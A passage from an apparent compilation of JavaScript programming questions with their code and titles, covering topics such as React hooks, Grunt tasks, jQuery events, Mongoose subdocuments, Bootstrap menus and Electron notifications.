the code above ) would be stale.A solution would be to pass noteId as a dependency , but then the effect would run on every render , not just once . Or to use a reference , but this is very hard to maintain.So is there any recommended pattern to implement this using React Hook ? With regular React , it 's possible to access the state from anywhere in the component , but with hooks it seems there are only convoluted ways , each with serious drawbacks , or maybe I 'm just missing something.Any suggestion ? class NoteEditor extends React.PureComponent { constructor ( ) { super ( ) ; this.state = { noteId : 123 , } ; } componentWillUnmount ( ) { logger ( 'This note has been closed : ' + this.state.noteId ) ; } // ... more code to load and save note } function NoteEditor { const [ noteId , setNoteId ] = useState ( 123 ) ; useEffect ( ( ) = > { return ( ) = > { logger ( 'This note has been closed : ' + noteId ) ; // bug ! ! } } , [ ] ) return ' ... ' ; }",How to access state when component unmount with React Hooks ? "JS : Here is an example of what I 'm looking for : I know Grunt can read the data from within a file using 'grunt.file.readJSON ' , and then have that data available with the following type of variable , ' < % = pkg.value % > '.What I 'm wanting to do is to create a task with if/else options based on the variables from within the JSON file . What I 'm unclear on is how to pass a Grunt variable ' < % = pkg.value % > ' into the JavaScript if statement in a way that it understands . I 've tried passing it in the same Grunt format with ' < % = % > ' , as well as stripping that part away and passing 'pkg.value ' , but neither seems to work.If someone can shed some light on whether or not this can be done and how , I would greatly appreciate it . Thanks ! module.exports = function ( grunt ) { grunt.initConfig ( { config : grunt.file.readYAML ( '_config.yml ' ) , // example variable : < % = config.scripts % > copy : { scripts : ( function ( ) { if ( config.scripts === true ) { // I want to target < % = config.scripts % > return { expand : true , cwd : ' < % = input % > /_assets/js/ ' , src : '**/*.js ' , dest : ' < % = output % > /assets/js/ ' } ; } else { return { // do nothing } ; } } ) ( ) } } ) ; } ;",Can you pass a Grunt variable to a JavaScript function within a Grunt task ? JS : I use the code below to update the url link based on user text input : Right now it works pretty fine when someone clicks the submit button . What I want is to make it also work when a user press the enter button . Fiddle HERE < input type= '' text '' id= '' q '' / > < input type= '' button '' id= '' submit '' value= '' submit '' / > < script > $ ( function ( ) { $ ( `` # submit '' ) .click ( function ( ) { var url = `` /tag/ '' ; url += $ ( `` # q '' ) .val ( ) ; window.location = url ; } ) ; } ) ; < /script >,How can I trigger onclick function when I press enter button ? "JS : For example , I have JavaScript like this : I would like to check whether the 'testWindow ' is closed and run a function if it is.I have Googled this problem but so far all I found is : which is only run once . So I am wondering if there is an event triggered when a window is closed ? Thanks . windowHandle = window.open ( 'http : //www.irt.org/ ' , 'testWindow ' , 'height=200 , width=200 ' ) ; if ( testWindow.close ) { .. }",How can I check that a window has been closed in JavaScript ? "JS : I have an object like this : I want to change it into an object like this : Here 's my code : But this only works for 1 level of nesting . How would you write it to ensure it works for as deeply nested properties as you need ? var data = { `` prop.health '' : 1 , `` prop.cost '' :1 , `` prop.time '' :1 } { `` prop '' : { `` health '' : 1 , `` cost '' :1 , `` time '' :1 } } _.each ( data , function ( value , key ) { var split = key.split ( ' . ' ) if ( split.length > 1 ) { data [ split [ 0 ] ] = data [ split [ 0 ] ] || { } data [ split [ 0 ] ] [ split [ 1 ] ] = value delete data [ key ] } } )",Splitting dots into separate objects javascript "JS : Basically I am trying to understand and learn the 'this ' keyword 's working principle in JavaScript . As far as I understand 'this ' refers to the object ( function ) that it is inside at that moment . So , by believing this , I wanted to test the output of the simple code below : And its output confuses me . Because in the inner ( ) function , this.Son outputs the incremented integer value of the Son . But I expect this.Father to fail because inner ( ) does not have a .Father attribute . But instead of throwing an exception it alerts the value of this.Father -Which seems a line above 'this ' refers inner ( ) and following line 'this ' refers Outer ( ) At this point i have 2 questions in my mind actualy : Does 'this ' keyword refers always tothe outer scope 's housing even inside the inner functions ? And without having any instances declared 'this ' keyword references what in the method ? ( I mean without having something lik var myFamily = new Outer ( ) ) Thanks , burak ozdogan < body > < input type= '' button '' value= '' Add Age '' onclick= '' Outer ( ) '' / > < script type= '' text/javascript '' > function Outer ( ) { if ( typeof this.Father == 'undefined ' ) { this.Father = 0 ; } this.Father+=2 ; alert ( this.Father ) ; inner ( ) ; function inner ( ) { if ( typeof this.Son== 'undefined ' ) { this.Son = 0 ; } ; this.Son++ ; alert ( this.Son ) ; alert ( this.Father ) ; } ; } ; < /script > < /body >",'this ' keyword refers to what object within an a function inside another function ? "JS : I want to achieve the sticky behaviour of notifications in the electron desktop application until the user clicks on the notification itself.I am using node-notifier to achieve this behaviour following this documentaion and using ngx-electron to use ElectronService for importing the main.js file in the angular component file.Here is my main.js file : app.component.ts : Electron App Notification : Currently , I am checking this notification behaviour on Windows Platform and the notification remains sticky until and unless user takes any action including any key press from keyboard or any mouse movement.I want notification to stuck on the screen until the user clicks on close label of notification itself and not closes on clicking any other part of the screen . const notifier = require ( 'node-notifier ' ) exports.notifier = ( msg ) = > { notifier.notify ( { title : 'Notify Me ' , message : msg , wait : true , timeout : 1500000 , sound : true , icon : './assets/images/logo.png ' } ) ; import { ElectronService } from 'ngx-electron ' ; @ Component ( { selector : 'app ' , templateUrl : './app.component.html ' , styleUrls : [ './app.component.css ' ] } ) export class AppComponent implements OnInit { public main_js : any ; constructor ( private _electronService : ElectronService ) { this.main_js = this._electronService.remote.require ( `` ./main.js '' ) ; this.getTasks ( ) ; } getTasks ( ) { var message = 'New Task Assigned ! ! ! ' ; this.main_js.notifier ( message ) ; } }",Enable Sticky Behaviour of Electron App Notifications on Windows Platform "JS : I have a web app that I am trying to speed up . It looks like this : Each box is an iFrame containing a Flash SWF and some javascript . The SWF downloads a thirdparty SWF that is used to display information . I have found that the load time for the webapp is : When I just imbed the 3rd party swf directly ( without our swf or the javascript ) the load time is : I am trying to find where the extra 3 seconds is being used so that I can speed up our webapp . I think that the candidates are : Serverside processing ( jsp ) DownloadJavascriptFlashOther ? DownloadBelow is an image of the downloads taken from firebug . I have replaced the file names with what their type is . None of the downloads are taking especially long after the first time.One place of interest however is marked in red . The red area is a 3 second gap between when My SWF is loaded and when two gif files are loaded followed by the Third Party SWF . I think this pause is caused by processing on the client ( is this true ? ) .Note : The red bars in the graph are not part of the diagram . I added them to highlight the gap where nothing is occurring on the .net panel.I think that I can conclude from this that I have a client side processing issue which implies either Flash or Javascript . Question 1 : Is this correct ? Edit : I added up the total non-concurrent download time : When there is 1 iframes the download time is 1.87 secondsWhen there is 2 iframes the download time is 2.29 secondsWhen there is 5 iframes the download time is 8.57 secondsWhen there is 10 iframes the download time is 10.62 secondsWhen there is 21 iframes the download time is 17.20 secondsJavascriptI used the profiler in firebug to profile the javascript . Here are the results when there are four components on the page : This means that the javascript is running for about .25 second/chart . This seems reasonable to me.Question 2 : Am I reading these results correctly ? This leaves about 3.5 seconds/chart of processing for something else.FlashI inserted some trace statements in the AS3 code . We are listening to an event called something like `` done loading '' . I put a trace in the first initialize method and in the `` done loading '' method . The flash is only eating up .2 second/chart between those two trace statements.Question 3 : Is there a better way to to profile the flash ? Could it be the flash loading or something like that that is eating up the extra time ? OtherI am not sure if there are other things other than : Serverside processing ( jsp ) DownloadJavascriptFlashQuestion 4 : Is there something that I am missing that could be eating up time ? Next StepsI am not sure what my next step should be . I know that something is taking about 1.5 - 3 seconds/chart but I can not figure out what it is . I suspect that it is something related to my swf.Question 5 : How should I find that missing time ? Update : Time SummaryI have graphed all of the times for each thing that could be taking time.The X-axis is the number of charts that are being used.The Y-axis is the about of time loading all of the charts takes.The last graph is possibly the most important graph . The blue dots is the amount of total loading time ( measured using a stop watch ) . The red dots are the amount of time that I have accounted for ( Javascript , download time and flash time ) .Update : Browser WarsI am targeting IE and Firefox ( although it is a nice bonus if other browsers work ) . All of the results presented so far are with Firefox with firebug running . Just for fun I thought I would try in other browsers . I do n't think that this brings me closer to a solution but interesting to see how much IE sucks.Note : Before running tests for Firefox I cleared the cookies and cache . I did not do this for IE or ChromeUpdate : Flash LoadingI have been sprinkling console.log statements though my code trying to sandwich the slow code . ( The results get pushed out to the Firebug console ) .One thing that I have noticed that seems suspicious to me me is that there is a 2.5 second gap between when my last javascript log gets printed and when my first flash log gets printed.Does flash need to setup a virtual machine for each swf ? Does it compile the actionscript on the client ? What happens between when I < embed > my swf and when the creationComplete event in my main .mxml ? + -- -- -- +| || |+ -- -- -- ++ -- -- -- +| || |+ -- -- -- ++ -- -- -- +| || |+ -- -- -- + LoadTime = ( 4 seconds ) * numberOfBoxes + ( 3 seconds ) LoadTime = ( 1 second ) * numberOfBoxes + ( 2.5 seconds ) 17:08:29.973 - Javascript codeTime difference : 2510 ms17:08:32.483 - Flash- myComponent.init ( )","Optimizing my web application using Flash , Javascript and JSP" "JS : In transaction I only want to write data if data not presentYou can see in my Document reference is uid based and in my log I am printing uidSo where uid 's data not exist my Log prints only once and I call transaction.set ( ) elsewhere it keep showing Log of uid where data exists already it looks like my transaction keep running if I do n't call transaction.set ( ) How can I stop it . DocumentReference callConnectionRef1 = firestore.collection ( `` connectedCalls '' ) .document ( callChannelModel.getUid ( ) ) ; firestore.runTransaction ( new Transaction.Function < Void > ( ) { @ Override public Void apply ( Transaction transaction ) throws FirebaseFirestoreException { DocumentSnapshot snapshot = transaction.get ( callConnectionRef1 ) ; Log.d ( TAG , callChannelModel.getUid ( ) ) ; if ( ! snapshot.exists ( ) ) { //my code transaction.set ( callConnectionRef1 , model ) ; } else { //do nothing } return null ; } ) ;",Firestore how stop Transaction ? JS : I know you should n't put anything after the closing 'html ' tag . Tell SharePoint about it ... This is what the SharePoint output caching debug information looks like . I want this hidden comment to be visible on every page . Switching to source view and going to the end of the file makes me tired.In an effort to not reinvent the wheel I figured it would be the smartest choice to add a piece of javascript code to my masterpage which copies the comment to a location ( within the page ) of my choosing.Any idea on how I get hold of the comment via javascript ? jquery is ok . [ ... ] < /body > < /html > < ! -- Rendered using cache profile : Public Internet ( Purely Anonymous ) at : 2013-06-06T12:57:10 -- >,javascript read html comment after closing html tag "JS : ! ! x coerces the type of variable x to a boolean , whilst maintaining its truthiness or lack thereof - see this question - I have a question about the use of this in conditional expressions.A few times in JS code I 've seen ! ! used to coerce a variable to boolean type in an if condition like soWhere the idea is to test if x is defined before calling methods on it . But , in my own code I 've always just usedOn the premise that if x is defined , the condition will pass , and if x is undefined , it will not pass . So my question is what is the point of coercing x to a boolean using ! ! in this scenario ? What does this code do that this code does n't ? if ( ! ! x ) { x.doStuff ( ) ; } if ( x ) { x.doStuff ( ) ; }",Why use ! ! to coerce a variable to boolean for use in a conditional expression ? "JS : I 'm trying to remove subdocument with ID from Object using Mongoose.I was trying to use update fucntion in Moongose but after i run script Im getting status `` Ok : 1 '' but status `` nModified : 0 '' . Was trying to use following script : This script removes all subdocuments from a object . Here is my json : } I want to remove subobject with IDHow can I do it ? Page.update ( { `` subPages._id '' : req.body.ID } , { `` $ unset '' : { `` subPages '' :1 } } , function ( re , q ) { console.log ( q ) ; } ) ; { `` _id '' : ObjectId ( `` 585a7a7c2ec07b40ecb093d6 '' ) , '' name_en '' : `` Head Page '' , '' name_nl '' : `` Head Page '' , '' slug_en '' : `` Head-page '' , '' slug_nl '' : `` hoofd-menu '' , '' content_en '' : `` < p > Easy ( and free ! ) You should check out our premium features. < /p > '' , '' content_nl '' : `` < p > Easy ( and free ! ) You should check out our premium features. < /p > '' , '' date '' : ISODate ( `` 2016-12-21T12:50:04.374Z '' ) , '' is_footerMenu '' : 0 , '' is_headMenu '' : 0 , '' visible '' : 1 , '' __v '' : 0 , '' subPages '' : [ { `` content_nl '' : `` < p > Easy ( and free ! ) You should check out our premium features. < /p > '' , `` content_en '' : `` < p > Easy ( and free ! ) You should check out our premium features. < /p > '' , `` slug_nl '' : `` Sub-page '' , `` slug_en '' : `` Sub-page '' , `` name_nl '' : `` Subpage '' , `` name_en '' : `` Subpage '' , `` date '' : ISODate ( `` 2016-12-21T14:58:44.733Z '' ) , `` subPages '' : [ ] , `` is_footerMenu '' : 0 , `` is_headMenu '' : 0 , `` visible '' : 1 , `` _id '' : ObjectId ( `` 585a98a46f657b52489087a8 '' ) } , { `` content_nl '' : `` < p > Easy ( and free ! ) You should check out our premium features. < /p > '' , `` content_en '' : `` < p > Easy ( and free ! ) You should check out our premium features. < /p > '' , `` slug_nl '' : `` Subpage '' , `` slug_en '' : `` Subpage '' , `` name_nl '' : `` Subpage1 '' , `` name_en '' : `` Subpage1 '' , `` date '' : ISODate ( `` 2016-12-21T14:58:54.819Z '' ) , `` subPages '' : [ ] , `` is_footerMenu '' : 0 , `` is_headMenu '' : 0 , `` visible '' : 1 , `` _id '' : ObjectId ( `` 585a98ae6f657b52489087a9 '' ) } ] 585a98a46f657b52489087a8",How to remove subdocument inside of a object using Mongoose "JS : I have two arrays that are made up of 20 arrays of objects . Like this : I want the end result to be : So I 'm attaching two items in each array , meaning each array should contain four objects now.What I tried was : But nothing was appendedQuestionIs there a less painstaking approach to concat items iteratively ? var array1 = [ [ { ' x':0 , ' y':0 } , { ' x':0 , ' y':0 } ] , [ { ' x':1 , ' y':1 } , { ' x':1 , ' y':1 } ] , ... [ { ' x':19 , ' y':19 } , { ' x':19 , ' y':19 } ] ] ; var array2 = [ [ { ' x':0 , ' y':0 } , { ' x':0 , ' y':0 } ] , [ { ' x':1 , ' y':1 } , { ' x':1 , ' y':1 } ] , ... [ { ' x':19 , ' y':19 } , { ' x':19 , ' y':19 } ] ] ; [ [ { ' x':0 , ' y':0 } , { ' x':0 , ' y':0 } , { ' x':0 , ' y':0 } , { ' x':0 , ' y':0 } ] , ... ] ; var array3 = array1 ; array3.forEach ( function ( item , i ) { item.concat ( array2 [ i ] ) } )",concat arrays with forEach "JS : How can I tell if a file-system path is a hard link with Node.js ? The function fs.lstat gives a stats object that , when given a hard link will return true for stats.isDirectory ( ) and stats.isFile ( ) respectively . fs.lstat does n't offer up anything to note the difference between a normal file or directory and a linked one . If my understanding of how linking ( ln ) works is correct , then a linked file points to the same place on the disk as the original file . This would mean that both the original and linked version are identical , and there is no way to tell the difference between the original file and the linked . The functionality I 'm looking for is as follows : This is hypothetical pseudo-code for demonstration & communication purposes . fs.writeFileSync ( './file.txt ' , 'hello world ' ) fs.linkSync ( './file.txt ' , './link.txt ' ) fs.isLinkSync ( './file.txt ' ) // = > falsefs.isLinkSync ( './link.txt ' ) // = > truefs.linkChildrenSync ( './file.txt ' ) // = > [ './link.txt ' ] fs.linkChildrenSync ( './link.txt ' ) // = > [ ] fs.linkParentSync ( './link.txt ' ) // = > './file.txt'fs.linkParentSync ( './file.txt ' ) // = > null",Detecting Hard Links in Node.js JS : my polymer element : but when I clone this element inner html will removed.can any one help me ? < ele-label id= '' newLabel '' color= '' # 000000 '' bgColor= '' # f1f1f1 '' eleHeight= '' 30 '' eleWidth= '' 50 '' text= '' Name : '' eleDisplay= '' inline-block '' elefloat= '' left '' > < /ele-label > < polymer-element name= '' ele-label '' attributes= '' text color eleid eleWidth eleHeight fontSize bgColor paddingTop paddingBottom paddingLeft paddingRight eleDisplay elefloat '' > < template > < div > < label style= '' font-size : { { fontSize } } pt ; color : { { color } } ; '' > { { text } } < /label > < /div > < /template > < /polymer-element >,clone of polymer element remove template of polymer element "JS : ScenarioI would like the user to be able to toggle through the Twitter Bootstrap button classes using jQuery when the main part of the button is clicked ( for quickness ) .OrAllow the user to select a state from the drop down menu.Whatever the state selected , the whole btn-group should have the same button class.Not Started ( btn-info ) , In Progress ( btn-warning ) , Completed ( btn-success ) and Late ( btn-error ) .What I would likeWhat I have so farThis is my HTML code . It is standard Bootstrap button group.This toggles all of the buttons , not just the button that is clicked . < div class= '' btn-group '' > < button type= '' button '' class= '' btn btn-warning '' > Week 7 < /button > < button type= '' button '' class= '' btn btn-warning dropdown-toggle '' data-toggle= '' dropdown '' aria-expanded= '' false '' > < span class= '' caret '' > < /span > < span class= '' sr-only '' > Toggle Dropdown < /span > < /button > < ul class= '' dropdown-menu '' role= '' menu '' > < li > < a href= '' # '' > Not Started < /a > < /li > < li > < a href= '' # '' > In Progress < /a > < /li > < li > < a href= '' # '' > Completed < /a > < /li > < li class= '' divider '' > < /li > < li > < a href= '' # '' > Late < /a > < /li > < /ul > < /div > $ ( '.btn-group ' ) .click ( function ( ) { var classes = [ 'btn btn-info ' , 'btn btn-info ' , 'btn btn-success ' ] ; $ ( '.btn ' ) .each ( function ( ) { this.className = classes [ ( $ .inArray ( this.className , classes ) +1 ) % classes.length ] ; } ) ; } ) ;",jQuery toggle through Twitter Bootstrap button classes "JS : I 'm trying to use reduce ( ) combine a set of arrays in a `` collated '' order so items with similar indexes are together . For example : It does n't matter what order the items with similar index go as long as they are together , so a result of 'one ' , 'uno ' , ' 1 ' ... is a good as what 's above . I would like to do it just using immutable variables if possible.I have a way that works : But it 's not very pretty and I do n't like it , especially because of the way it mutates the accumulator in the forEach method . I feel there must be a more elegant method.I ca n't believe no one has asked this before but I 've tried a bunch of different queries and ca n't find it , so kindly tell me if it 's there and I missed it . Is there a better way ? To clarify per question in comments , I would like to be able to do this without mutating any variables or arrays as I 'm doing with the accumulator.splice and to only use functional methods such as .map , or .reduce not a mutating loop like a .forEach . input = [ [ `` one '' , '' two '' , '' three '' ] , [ `` uno '' , '' dos '' ] , [ `` 1 '' , '' 2 '' , '' 3 '' , '' 4 '' ] , [ `` first '' , '' second '' , '' third '' ] ] output = [ 'first ' , ' 1 ' , 'uno ' , 'one ' , 'second ' , ' 2 ' , 'dos ' , 'two ' , 'third ' , ' 3 ' , 'three ' , ' 4 ' ] const output = input.reduce ( ( accumulator , currentArray , arrayIndex ) = > { currentArray.forEach ( ( item , itemIndex ) = > { const newIndex = itemIndex* ( arrayIndex+1 ) ; accumulator.splice ( newIndex < accumulator.length ? newIndex : accumulator.length,0 , item ) ; } ) return accumulator ; } )",reduce array of arrays into on array in collated order "JS : In my HTML I define the lang function in the script tag and add the `` Test Fire ! '' button which has to call lang on click : However , if I click the button I get this error : Uncaught TypeError : lang is not a functionBut if I change the function name from lang to anything else this code works fine . < ! DOCTYPE html > < html > < head > < meta charset= '' UTF-8 '' > < title > Testing Functions < /title > < script type= '' text/javascript '' > function lang ( ) { alert ( `` Hello , World ! It 's JavaScript this time '' ) ; } < /script > < /head > < body > < form action= '' '' > < input type= '' button '' value= '' Test Fire ! '' onclick= '' lang ( ) ; '' > < /form > < /body > < /html >",Uncaught TypeError : lang is not a function "JS : What I want to achive is using the return value of the `` previewfile '' function as an execution indicator for the `` readfiles '' function . But this needs to be after the `` image.onload '' part has been executed , since there I need returnThis to be set to true.I 've researched several things on Google and Stackoverflow concerning this problem and callbacks / deferred objects in general , but I can not wrap my head around how to applicate that in this situation.I have the following constellation in my Image uploading section : function previewfile ( file , tests , acceptedTypes , holder ) { var returnThis = false ; if ( tests.filereader === true & & acceptedTypes [ file.type ] === true ) { var reader = new FileReader ( ) ; reader.onload = function ( event ) { var image = new Image ( ) ; image.onload = function ( ) { var testimage = new Image ( ) ; testimage.src = $ ( this ) .attr ( 'src ' ) ; var widthOfImage = testimage.width ; var heightOfImage = testimage.height ; if ( ! checkImageDimensions ( widthOfImage , heightOfImage ) ) { // do stuff } else { returnThis = true ; } } ; image.src = event.target.result ; holder.appendChild ( image ) ; } ; reader.readAsDataURL ( file ) ; } else { // do other stuff } return returnThis ; } function readfiles ( files , tests , acceptedTypes , holder , progress ) { var uploadNow = previewfile ( files [ 0 ] , tests , acceptedTypes , holder ) ; if ( uploadNow === true ) { // do stuff } } else { // do other stuff } }",Javascript use return value in another function "JS : Using react-visjs-timeline , how are methods called to the Timeline component ? Methods like : timeline.fit ( ) ; timeline.setItems ( { ... } ) ; timeline.focus ( id ) ; I added a ref to the component , but I 'm not sure what item to call methods on : The docs for react-visjs-timeline does n't mention how to call methods . < Timeline ref= { this.timelineWrapperRef } options= { this.state.options } items= { this.state.items } / >",How to call methods in react-visjs-timeline "JS : When I run this code through jslintIt gives me following error : Unexpected ' . '.Why is that ? When I assign function to variable , and then call it I get no errors.This : Returns no errors.But , I would like to know why I get error in first place . What Douglas Crockford 's sacred rule do I break with first example ? ( function ( ) { return `` helloooo '' ; } ) .call ( ) ; var cb = function ( ) { return `` helloooo '' ; } ; cb.call ( ) ;",Why does JSlint return an `` Unexpected '. ' . '' error "JS : I want to set the text in a < textarea > from a js-function ; I 'm simply setting the innerText-attribute to a new value . The text is multiline and should be displayed as such . However , newlines are dropped by the browser and the entire text is displayed as one line : Is there a way to preserve newlines when setting the text in a < textarea > ? document.getElementById ( `` my_textarea1 '' ) .innerText = `` foo\nbar '' ; // displayed as `` foobar '' document.getElementById ( `` my_textarea2 '' ) .innerText = `` foo\ bar '' ; // displayed as `` foobar '' document.getElementById ( `` my_textarea3 '' ) .innerText = ` foo\ bar ` ; // again , `` foobar '' < textarea id= '' my_textarea1 '' > < /textarea > < textarea id= '' my_textarea2 '' > < /textarea > < textarea id= '' my_textarea3 '' > < /textarea >","Set text in < textarea > , including newlines" "JS : If I use distinct var statements like then JSLint complains , telling me to combine the second and third with the previous.If I follow that advice , JSLint is happy , but Emacs ' builtin js-mode.el ( Emacs v23.2 ) does not indent the additional var declarations the way I want . Also , it does not do the font-lock on the additional variables . See : How can I get the proper indentation and font-locking ? function stretchDiv ( ) { var wh = $ ( window ) .height ( ) ; var sz2 = wh - ( ( paddingTop + paddingBottom ) + ( mainTop + 2 ) * 2 ) ; // the scrollbar happens only when the height of the elt is constrained var sz3 = sz2 - outTop - 2 ; $ ( ' # out ' ) .css ( { 'height ' : sz3 + 'px ' } ) ; } function stretchDiv ( ) { var wh = $ ( window ) .height ( ) , sz2 = wh - ( ( paddingTop + paddingBottom ) + ( mainTop + 2 ) * 2 ) , // the scrollbar happens only when the height of the elt is constrained sz3 = sz2 - outTop - 2 ; $ ( ' # out ' ) .css ( { 'height ' : sz3 + 'px ' } ) ; }",How to get js-mode to properly indent continued ( compound ? ) var declarations ? "JS : Good day EveryoneI 've been struggling with this for over a month now , looking at various resources on bootstrap and Stackoverflow , and I am unable to resolve this issue.I have a mega-menu of sorts that spans the entire width of the screen . The problem I am facing can be seen in the below fiddle : https : //jsfiddle.net/btesoj8c/When you click on the menu item `` Menu0 '' the dropdown works perfectly , and then if you click on `` Menu1 '' the dropdown also works , but it doesnt collapse the dropdown of `` Menu0 '' . So this eventually causes a battle of menu items to get the menu to close . The code is as follows : Your assistance would be greatly appreciated . # main_menu { z-index:999 ; } .navbar { padding : 0 ; margin : 0 ; background : transparent ; border : 0px none ; } # main_menu .nav { float : right ; margin : 22px 0 0 0 ; } .navbar .nav.pull-right { float : right ; margin-right : -30px ! important ; } # main_menu .nav > li > a { font-weight : 400 ; letter-spacing : 2px ; font-size : 13px ; padding : 24px 24px 22px ; text-align : center ! important ; text-transform : uppercase ; } # main_menu .nav > .active > a , # main_menu .nav > .active > a : hover { -webkit-border-radius : 4px 4px 0px 0px ; -moz-border-radius : 4px 4px 0px 0px ; border-radius : 4px 4px 0px 0px ; } # main_menu .nav > .active > a : focus { background : transparent ; } # options { margin:0px 0 -10px ; } .header { background : # 383838 ; } .mega-menu [ class*= '' col- '' ] { margin-top : 5px ; margin-bottom : 5px ; font-size : 1em ; text-align : center ; line-height : 2 ; background-color : # 70AB1F ; border-right : 1px solid # d1d1d1 ; height:300px ; } # menuItem { background : transparent ; display : block ; float : left ; color : # fff ; height : 50px ; list-style-image : none ; list-style-position : outside ; list-style-type : none ; margin-left : 25px ; margin-top : 10px ; text-align : left ; width : 120px ; cursor : pointer ; } .menu-section { margin-top : 10px ; margin-bottom : -5px ; font-size : 16px ; display : block ; text-align : left ; float : left ; width : 100 % ; color : # fff ; } .menu-subsection { margin-bottom : -5px ; margin-left : 10px ; display : block ; font-size : 14px ; text-align : left ; float : left ; width : 100 % ; color : # ededed ; } .green { width : 100 % ; background-color : # 70AB1F ; z-index : 9999 ; position : absolute ; } < div class= '' header `` > < nav class= '' navbar navbar-default '' role= '' navigation '' > < ul class= '' nav navbar-nav navbar-collapse `` > < li id= '' menuItem '' data-toggle= '' collapse '' class= '' collapse '' data-target= '' # menu0 '' > Menu0 < br/ > < /li > < li id= '' menuItem '' data-toggle= '' collapse '' data-target= '' # menu1 '' > Menu1 < br/ > < /li > < li id= '' menuItem '' data-toggle= '' collapse '' data-target= '' # '' > Menu2 < br/ > < /li > < li id= '' menuItem '' data-toggle= '' collapse '' data-target= '' # '' > Menu3 < br/ > < /li > < li id= '' menuItem '' data-toggle= '' collapse '' data-target= '' # '' > Menu4 < /li > < /ul > < /div > < ! -- Dropdown Menu -- > < div class= '' collapse green '' id= '' menu0 '' > < div class= '' mega-menu container '' > < div class= '' row '' > < div class= '' col-sm-3 '' > < a class= '' menu-section '' href= '' # '' > Item < /a > < a class= '' menu-subsection '' href= '' # '' > Item < /a > < a class= '' menu-subsection '' href= '' # '' > Item < /a > < a class= '' menu-section '' href= '' # '' > Item < /a > < a class= '' menu-subsection '' href= '' # '' > Item < /a > < a class= '' menu-subsection '' href= '' # '' > Item < /a > < /div > < div class= '' col-sm-3 '' > < a class= '' menu-section '' href= '' # '' > Item < /a > < a class= '' menu-subsection '' href= '' # '' > Item < /a > < a class= '' menu-subsection '' href= '' # '' > Item < /a > < /div > < div class= '' col-sm-3 '' > < a class= '' menu-section '' href= '' # '' > Item < /a > < a class= '' menu-subsection '' href= '' # '' > Item < /a > < a class= '' menu-subsection '' href= '' # '' > Item < /a > < /div > < div class= '' col-sm-3 '' > < a class= '' menu-section '' href= '' # '' > Item < /a > < a class= '' menu-subsection '' href= '' # '' > Item < /a > < a class= '' menu-subsection '' href= '' # '' > Item < /a > < /div > < /div > < /div > < /div > < div class= '' collapse green '' id= '' menu1 '' > < div class= '' mega-menu container '' > < div class= '' row '' > < div class= '' col-sm-3 '' > < a class= '' menu-section '' href= '' # '' > Something else < /a > < a class= '' menu-subsection '' href= '' # '' > Something < /a > < /div > < div class= '' col-sm-3 '' > < a class= '' menu-section '' href= '' # '' > Something else < /a > < a class= '' menu-subsection '' href= '' # '' > Something < /a > < /div > < div class= '' col-sm-3 '' > < a class= '' menu-section '' href= '' # '' > Something else < /a > < a class= '' menu-subsection '' href= '' # '' > Something < /a > < /div > < div class= '' col-sm-3 '' > < a class= '' menu-section '' href= '' # '' > Something else < /a > < a class= '' menu-subsection '' href= '' # '' > Something < /a > < /div > < /div > < /div > < /div >",Bootstrap Menu Dropdown Glitch "JS : I am using Aurelia to build a dynamic form based on a json . The form is generating from a json like the following : The model to fill the form is available via a Web API service . So , far I succeeded using the following template.Now I am facing difficulties , when the Model contains another object as property . E.g. , for the property Address I would like a input box for City . Hence , item.key = `` Address.City '' . I can bind with ( 1 ) Model.Address.City or ( 2 ) Model [ 'Address ' ] [ 'City ' ] which are not possible as the form is generating at runtime . I would like to use something like ( 3 ) Model [ 'Address.City ' ] , so that I can use Model [ item.key ] for the binding . Is there any easy syntax to achieve this ? Example of similar application in Angular Js is Angular Schema FormThanks in advance . Schema = [ { 'key ' : 'Name ' , 'display ' : 'Name ' , 'type ' : 'text ' , 'placeholder ' : 'Name ' , 'required ' : true } , { 'key ' : 'IsSubscribed ' , 'display ' : 'Subscribed to newsletter ? ' , 'type ' : 'checkbox ' , 'placeholder ' : null , 'required ' : false } ] ; < template > < section class= '' au-animate '' > < h2 > Edit Form < /h2 > < form class= '' form-group '' > < div repeat.for= '' item of Schema '' class= '' form-group '' > < label if.bind= '' item.type === 'text ' || item.type === 'checkbox ' '' class= '' control-label '' for.bind= '' item.key '' > $ { item.display } < input class= '' form-control '' id.bind= '' item.key '' placeholder.bind= '' item.placeholder '' type.bind= '' item.type '' value.bind= '' Model [ item.key ] '' / > < /label > < label if.bind= '' item.type === 'textarea ' '' > $ { item.display } < textarea placeholder.bind= '' item.placeholder '' value.bind= '' Model [ item.key ] > < /textarea > < /label > ... < /div > < /form > < /section > < /template >",Schema form using Aurelia "JS : I am using the script `` core ui select '' to style my forms on my website . Everything was working fine for desktop users , but since a while there is a lot of reports from users using mobiles . They say that they ca n't modify the option because it is greyed out.So i did the test using a firefox plugin called `` Default User Agent '' and i switched my browser agent to iPhone . Then i realised that the whole form stopped working , but only for mobile users Here 's a test page if you want to see the problem live ( you would have to change your user agent to reproduce the bug ) : https : //www.ni-dieu-ni-maitre.com/test_mobile.phpAnd here 's the code of the page . < script type= '' text/javascript '' src= '' https : //www.no-gods-no-masters.com/scripts/jquery-1.8.2.min.js '' > < /script > < link href= '' https : //www.no-gods-no-masters.com/scripts/css/core-ui-select.css '' media= '' screen '' rel= '' stylesheet '' type= '' text/css '' > < link href= '' https : //www.no-gods-no-masters.com/scripts/css/jquery.scrollpane.css '' media= '' screen '' rel= '' stylesheet '' type= '' text/css '' > < script > $ ( document ) .ready ( function ( ) { $ ( ' # impression ' ) .coreUISelect ( ) ; } ) ; < /script > < /head > < body > < select class= '' b-core-ui-select__dropdown '' name= '' impression '' id= '' impression '' > < option > Printing on front < /option > < option > Printing on back < /option > < /select > < script src= '' https : //www.no-gods-no-masters.com/scripts/js/jquery.core-ui-select.js '' > < /script > < /body > < /html >",Core ui select not working for mobile users JS : If I have do I need to wrap that with our function closure ? Do var 's get hoisted to window ? or just to the class ? What about when transpiled ? Does Traceur/babel turn it into a IIFE and let 's into var 's ? Do I need to : To be safe ? Class Car { } ( function ( ) { Class Car ( ) { } } ( ) ) ;,Is an IIFE required around class in ECMAScript / Javascript 6 ? "JS : I have a random number wheel from 0 to 9 . The wheel spins down or up to land on the random number . How can I make it such that the wheel only spins down ? ( Once it reaches 9 the next number is 0 , 1 , 2 ... 9 , 0 , 1 , 2 ) without having to have many divs . function roll ( ) { var randomNum = Number ( ( Math.random ( ) * 100 ) .toFixed ( 2 ) ) ; var firstDigit = Number ( Math.floor ( ( randomNum ) / 10 - 5 ) ) ; var win = firstDigit ; if ( win > 4 ) { var rollm = win * 40 - 40 * 15 ; document.getElementById ( `` roll '' ) .style = `` margin-top : `` + rollm + `` px `` ; } if ( win < 4 ) { var 